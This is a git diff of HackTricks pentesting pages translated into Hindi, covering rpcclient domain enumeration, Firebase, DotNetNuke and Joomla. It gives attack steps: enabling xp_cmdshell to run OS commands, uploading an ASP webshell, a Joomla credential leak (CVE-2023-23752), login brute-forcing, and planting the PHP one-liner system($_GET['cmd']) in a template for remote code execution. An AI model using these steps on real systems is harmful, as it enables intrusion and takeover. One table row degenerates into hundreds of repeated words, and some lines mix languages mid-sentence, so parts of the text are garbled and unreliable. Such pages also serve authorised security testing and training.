**Samba** से **`rpcclient`** उपयोग किया जाता है रीढ़ीबाजी अंत्यों के साथ बातचीत करने के लिए। नीचे ऐसे कमांड दिए गए हैं जो एक **SMB सत्र स्थापित होने के बाद** SAMR, LSARPC, और LSARPC-DS इंटरफेस को जांचने के लिए जारी किए जा सकते हैं, जिसमें अक्सर पहुंच की आवश्यकता होती है।
Samba का **`rpcclient`** उपयोगिता **RPC endpoints के साथ नामित पाइप के माध्यम से बातचीत करने के लिए** उपयोग की जाती है। नीचे दिए गए कमांड SAMR, LSARPC, और LSARPC-DS इंटरफेस पर जारी किए जा सकते हैं जब एक **SMB सत्र स्थापित किया गया है**, जो अक्सर क्रेडेंशियल की आवश्यकता होती है।
#### सर्वर सूचना
#### सर्वर जानकारी
* **सर्वर सूचना प्राप्त करने** के लिए: `srvinfo` कमांड का उपयोग किया जाता है।
* **सर्वर जानकारी प्राप्त करने के लिए**: `srvinfo` कमांड का उपयोग किया जाता है।
#### उपयोगकर्ताओं का जांच
* **उपयोगकर्ताओं की सूची** देखने के लिए: `querydispinfo` और `enumdomusers` का उपयोग किया जा सकता है।
* **एक उपयोगकर्ता का विवरण** द्वारा: `queryuser <0xrid>`
* **एक उपयोगकर्ता के समूह** के साथ: `queryusergroups <0xrid>`
* **एक उपयोगकर्ता का SID प्राप्त** करने के लिए: `lookupnames <username>`
* **उपयोगकर्ताओं के सहायक** द्वारा: `queryuseraliases [builtin|domain] <sid>`
#### उपयोगकर्ताओं की Enumeration
* **उपयोगकर्ताओं को सूचीबद्ध किया जा सकता है**: `querydispinfo` और `enumdomusers` का उपयोग करके।
* **एक उपयोगकर्ता का विवरण**: `queryuser <0xrid>` द्वारा।
* **एक उपयोगकर्ता के समूह**: `queryusergroups <0xrid>` के साथ।
* **एक उपयोगकर्ता का SID प्राप्त किया जाता है**: `lookupnames <username>` के माध्यम से।
* **उपयोगकर्ताओं के उपनाम**: `queryuseraliases [builtin|domain] <sid>` द्वारा।
```bash
# Users' RIDs-forced
for i in $(seq 500 1100); do
@ -53,49 +55,71 @@ done
# samrdump.py can also serve this purpose
```
#### समूहों की गणना
#### समूहों की जाँच
* **समूह** द्वारा: `enumdomgroups`.
* **एक समूह का विवरण** के साथ: `querygroup <0xrid>`.
* **एक समूह के सदस्य** के माध्यम से: `querygroupmem <0xrid>`.
* **समूह** की जाँच करें: `enumdomgroups`
* **किसी समूह का विवरण** प्राप्त करें: `querygroup <0xrid>`
* **समूह के सदस्य** की जाँच करें: `querygroupmem <0xrid>`
#### उपनाम समूहों की गणना
#### उपनाम समूहों की जाँच
* **उपनाम समूह** द्वारा: `enumalsgroups <builtin|domain>`.
* **एक उपनाम समूह के सदस्य** के साथ: `queryaliasmem builtin|domain <0xrid>`.
* **उपनाम समूह** की जाँच करें: `enumalsgroups <builtin|domain>`
* **उपनाम समूह के सदस्य** की जाँच करें: `queryaliasmem builtin|domain <0xrid>`
#### डोमेन की गणना
#### डोमेनों की जाँच
* **डोमेन** का उपयोग करके: `enumdomains`.
* **एक डोमेन का SID प्राप्त किया जाता है** के माध्यम से: `lsaquery`.
* **डोमेन की जानकारी प्राप्त की जाती है** द्वारा: `querydominfo`.
* **डोमेन** की जाँच करें: `enumdomains`
* **डोमेन का SID प्राप्त** करें: `lsaquery`
* **डोमेन सूचना** प्राप्त करें: `querydominfo`
#### शेयरों की गणना
#### शेयरों की जाँच
* **सभी उपलब्ध शेयर** द्वारा: `netshareenumall`.
* **एक विशिष्ट शेयर के बारे में जानकारी प्राप्त की जाती है** के साथ: `netsharegetinfo <share>`.
* **सभी उपलब्ध शेयर** की जाँच करें: `netshareenumall`
* **किसी विशिष्ट शेयर के बारे में जानकारी** प्राप्त करें: `netsharegetinfo <share>`
#### SIDs के साथ अतिरिक्त संचालन
#### SIDs के साथ अतिरिक्त कार्रवाई
* **नाम द्वारा SIDs** का उपयोग करके: `lookupnames <username>`.
* **अधिक SIDs** के माध्यम से: `lsaenumsid`.
* **अधिक SIDs की जांच के लिए RID चक्रण** किया जाता है: `lookupsids <sid>`.
* **नाम से SIDs** प्राप्त करें: `lookupnames <username>`
* **अधिक SIDs** प्राप्त करें: `lsaenumsid`
* **अधिक SIDs की जाँच के लिए RID साइकिलिंग** करें: `lookupsids <sid>`
#### **अतिरिक्त आदेश**
#### **अतिरिक्त कमांड**
| **आदेश** | **इंटरफेस** | **विवरण** |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| queryuser | SAMR | उपयोगकर्ता जानकारी प्राप्त करें |
| querygroup | समूह की जानकारी प्राप्त करें | |
| querydominfo | डोमेन की जानकारी प्राप्त करें | |
| enumdomusers | डोमेन उपयोगकर्ताओं की गणना करें | |
| enumdomgroups | डोमेन समूहों की गणना करें | |
| createdomuser | एक डोमेन उपयोगकर्ता बनाएं | |
| deletedomuser | एक डोमेन उपयोगकर्ता हटाएं | |
| lookupnames | LSARPC | उपयोगकर्ता नामों को SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) मानों के लिए देखें |
| lookupsids | उपयोगकर्ता नामों के लिए SIDs देखें (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) चक्रण) | |
| lsaaddacctrights | एक उपयोगकर्ता खाते में अधिकार जोड़ें | |
| lsaremoveacctrights | एक उपयोगकर्ता खाते से अधिकार हटाएं | |
| dsroledominfo | LSARPC-DS | प्राथमिक डोमेन की जानकारी प्राप्त करें |
| dsenumdomtrusts | एक AD वन के भीतर विश्वसनीय डोमेन की गणना करें | |
| **कमांड** | **इंटरफेस** | **विवरण** |
| ------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
| queryuser | SAMR | उपयोगकर्ता सूचना प्राप्त करें |
| querygroup | समूह सूचना प्राप्त करें | |
| querydominfo | डोमेन सूचना प्राप्त करें | |
| enumdomusers | डोमेन उपयोगकर्ताओं की जाँच करें | |
| enumdomgroups | डोमेन समूहों की जाँच करें | |
| createdomuser | डोमेन उपयोगकर्ता बनाएं | |
| deletedomuser | डोमेन उपयोगकर्ता हटाएं | |
| lookupnames | LSARPC | उपयोगकर्ता नामों को SID मानों[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) वैल्यूज़ |
| lookupsids | SIDs को उपयोगकर्ता नामों में खोजें (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) साइकिलिंग) | |
| lsaaddacctrights | एक उपयोगकर्ता खाते में अधिकार जोड़ें | |
| lsaremoveacctrights | एक उपयोगकर्ता खाते से अधिकार हटाएं | |
| dsroledominfo | LSARPC-DS | प्राथमिक डोमेन सूचना प्राप्त करें |
| dsenumdomtrusts | AD वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन वन व | |
**समझने के लिए** कि उपकरण _**samrdump**_ **और** _**rpcdump**_ कैसे काम करते हैं, आपको [**Pentesting MSRPC**](../135-pentesting-msrpc.md) पढ़ना चाहिए।
**ट्राई हार्ड सुरक्षा समूह**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,33 +1,39 @@
# Firebase डेटाबेस
# Firebase Database
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो करें**.
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Firebase क्या है
## What is Firebase
Firebase एक Backend-as-a-Services है जो मुख्य रूप से मोबाइल एप्लिकेशन के लिए है। यह पीछे की प्रोग्रामिंग की जिम्मेदारी को हटाने पर ध्यान केंद्रित है और एक अच्छी SDK के साथ साथ ही कई अन्य रोचक चीजें प्रदान करके एप्लिकेशन और पीछे की जिम्मेदारी के बीच बातचीत को सुविधाजनक बनाने पर
Firebase एक Backend-as-a-Services है जो मुख्य रूप से मोबाइल एप्लिकेशन के लिए है। यह बैक-एंड को प्रोग्राम करने के चार्ज को हटाने पर केंद्रित है, एक अच्छा SDK प्रदान करते हुए और कई अन्य दिलचस्प चीजें जो एप्लिकेशन और बैक-एंड के बीच इंटरैक्शन को सुविधाजनक बनाती हैं
Firebase के बारे में अधिक जानें:
Learn more about Firebase in:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो करें**.
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,60 +1,66 @@
# डॉटनेटन्यूक (DNN)
# DotNetNuke (DNN)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## डॉटनेटन्यूक (DNN)
## DotNetNuke (DNN)
यदि आप DNN में **प्रशासक** के रूप में लॉग इन करते हैं तो RCE प्राप्त करना आसान है।
यदि आप DNN में **व्यवस्थापक** के रूप में प्रवेश करते हैं तो RCE प्राप्त करना आसान है।
## RCE
### SQL के माध्यम से
**`सेटिंग्स`** पृष्ठ के तहत एक SQL कंसोल उपलब्ध है जहाँ आप **`xp_cmdshell`** को सक्षम कर सकते हैं और **ऑपरेटिंग सिस्टम कमांड चला सकते हैं**
**`Settings`** पृष्ठ के तहत एक SQL कंसोल उपलब्ध है जहाँ आप **`xp_cmdshell`** सक्षम कर सकते हैं और **ऑपरेटिंग सिस्टम कमांड** चला सकते हैं।
**`xp_cmdshell`** को सक्षम करने के लिए इन लाइनों का उपयोग करें:
**`xp_cmdshell`** सक्षम करने के लिए इन पंक्तियों का उपयोग करें:
```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
```
और **"Run Script"** दबाएं ताकि वह sQL वाक्य चल सके।
और **"Run Script"** पर क्लिक करें ताकि उस sQL वाक्य को चलाया जा सके।
फिर, निम्नलिखित की तरह OS commands चलाने के लिए कुछ इस तरह का उपयोग करें:
फिर, OS कमांड चलाने के लिए निम्नलिखित जैसा कुछ उपयोग करें:
```sql
xp_cmdshell 'whoami'
```
### एएसपी वेबशेल के माध्यम से
### Via ASP webshell
`सेटिंग्स -> सुरक्षा -> अधिक -> अधिक सुरक्षा सेटिंग्स` में आप **अनुमत फ़ाइल एक्सटेंशन जोड़ सकते हैं** `अनुमत फ़ाइल एक्सटेंशन` के तहत, और फिर `सेव करने` बटन पर क्लिक करें।
In `Settings -> Security -> More -> More Security Settings` you can **नए अनुमत एक्सटेंशन जोड़ें** under `Allowable File Extensions`, and then clicking the `Save` button.
**`asp`** या **`aspx`** जोड़ें और फिर **`/admin/file-management`** में एक **asp वेबशेल** अपलोड करें जिसे `shell.asp` नामक कहा जा सकता है।
Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example.
फिर **`/Portals/0/shell.asp`** तक पहुंचने के लिए अपने वेबशेल तक पहुंचें।
Then access to **`/Portals/0/shell.asp`** to access your webshell.
### विशेषाधिकार उन्नयन
### Privilege Escalation
आप **आलू** या **PrintSpoofer** का उपयोग करके **विशेषाधिकार उन्नयन** कर सकते हैं।&#x20;
You can **अधिकार बढ़ा सकते हैं** using the **Potatoes** or **PrintSpoofer** for example.&#x20;
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **नवीनतम संस्करण का पीईएएस या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीईएएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक पीईएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# जूमला
# Joomla
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके।**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### जूमला आंकड़े
### Joomla Statistics
जूमला कुछ गैर-पहचानी [उपयोग सांख्यिकी](https://developer.joomla.org/about/stats.html) जमा करता है जैसे जूमला, PHP और डेटाबेस संस्करण और जूमला स्थापनाओं पर उपयोग में सर्वर ऑपरेटिंग सिस्टम का विवरण। इस डेटा को उनके सार्वजनिक [API](https://developer.joomla.org/about/stats/api.html) के माध्यम से क्वेरी किया जा सकता है।
Joomla कुछ गुमनाम [उपयोग सांख्यिकी](https://developer.joomla.org/about/stats.html) एकत्र करता है जैसे Joomla, PHP और डेटाबेस संस्करणों का विभाजन और Joomla इंस्टॉलेशन पर उपयोग में आने वाले सर्वर ऑपरेटिंग सिस्टम। इस डेटा को उनके सार्वजनिक [API](https://developer.joomla.org/about/stats/api.html) के माध्यम से क्वेरी किया जा सकता है।
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -42,9 +45,9 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
}
}
```
## जांच
## Enumeration
### खोज/फुटप्रिंटिंग
### Discovery/Footprinting
* **मेटा** की जांच करें
```bash
@ -52,7 +55,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* रोबोट्स.टेक्स्ट
* robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
@ -70,16 +73,21 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### संस्करण
### Version
* **/administrator/manifests/files/joomla.xml** में आप संस्करण देख सकते हैं।
* **/language/en-GB/en-GB.xml** में जूमला का संस्करण प्राप्त कर सकते हैं।
* **plugins/system/cache/cache.xml** में लगभग संस्करण देख सकते हैं।
* **/language/en-GB/en-GB.xml** में आप Joomla का संस्करण प्राप्त कर सकते हैं।
* **/plugins/system/cache/cache.xml** में आप एक अनुमानित संस्करण देख सकते हैं।
### Automatic
```bash
droopescan scan joomla --url http://joomla-site.local/
```
### API अनअथेंटिकेटेड जानकारी लीक:
संस्करण 4.0.0 से 4.2.7 तक Unauthenticated जानकारी लीक (CVE-2023-23752) के लिए वंर्नरबल है जो क्रेडेंशियल्स और अन्य जानकारी को डंप करेगा।
In[ **80,443 - Pentesting Web Methodology एक अनुभाग है जो CMS स्कैनर्स के बारे में है**](./#cms-scanners) जो Joomla को स्कैन कर सकते हैं।
### API अनधिकृत जानकारी का प्रकटीकरण:
संस्करण 4.0.0 से 4.2.7 अनधिकृत जानकारी के प्रकटीकरण (CVE-2023-23752) के प्रति संवेदनशील हैं जो क्रेड्स और अन्य जानकारी को डंप करेगा।
* उपयोगकर्ता: `http://<host>/api/v1/users?public=true`
@ -87,8 +95,9 @@ droopescan scan joomla --url http://joomla-site.local/
**MSF मॉड्यूल**: `scanner/http/joomla_api_improper_access_checks` या रूबी स्क्रिप्ट: [51334](https://www.exploit-db.com/exploits/51334)
### ब्रूट-फ़ोर्स
आप लॉगिन को ब्रूट फ़ोर्स करने के लिए इस [स्क्रिप्ट](https://github.com/ajnik/joomla-bruteforce) का उपयोग कर सकते हैं।
### ब्रूट-फोर्स
आप इस [स्क्रिप्ट](https://github.com/ajnik/joomla-bruteforce) का उपयोग लॉगिन को ब्रूट फोर्स करने का प्रयास करने के लिए कर सकते हैं।
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
@ -96,11 +105,26 @@ admin:admin
```
## RCE
यदि आपने **व्यवस्थापक क्रेडेंशियल** प्राप्त किए हैं तो आप **एक स्निपेट PHP कोड जोड़कर इसमें RCE** प्राप्त कर सकते हैं। हम इसे **एक टेम्पलेट** को **कस्टमाइज़ करके** कर सकते हैं।
यदि आप **admin credentials** प्राप्त करने में सफल हो गए हैं, तो आप **RCE inside of it** प्राप्त कर सकते हैं **PHP code** का एक स्निपेट जोड़कर। हम इसे **template** को **customize** करके कर सकते हैं।
1. `Configuration` के नीचे **`Templates`** पर **`क्लिक`** करें ताकि टेम्पलेट मेनू खुले।
2. `Template` स्तंभ के तहत **`protostar`** का चयन करें। यह हमें **`Templates: Customise`** पृष्ठ पर ले जाएगा।
3. अंततः, आप **पृष्ठ स्रोत** खोलने के लिए पृष्ठ पर क्लिक कर सकते हैं। हम **`error.php`** पृष्ठ का चयन करेंगे। हम निम्नलिखित रूप में **PHP वन-लाइनर जोड़ेंगे ताकि कोड निष्पादन प्राप्त करें**:
1. **`Templates`** पर क्लिक करें जो `Configuration` के तहत नीचे बाईं ओर है, ताकि टेम्पलेट मेनू खुल सके।
2. एक **template** नाम पर क्लिक करें। आइए **`protostar`** चुनते हैं जो `Template` कॉलम हेडर के तहत है। यह हमें **`Templates: Customise`** पृष्ठ पर ले जाएगा।
3. अंत में, आप एक पृष्ठ पर क्लिक कर सकते हैं ताकि **page source** खुल सके। आइए **`error.php`** पृष्ठ चुनते हैं। हम कोड निष्पादन प्राप्त करने के लिए एक **PHP one-liner** जोड़ेंगे जैसा कि निम्नलिखित है:
1. **`system($_GET['cmd']);`**
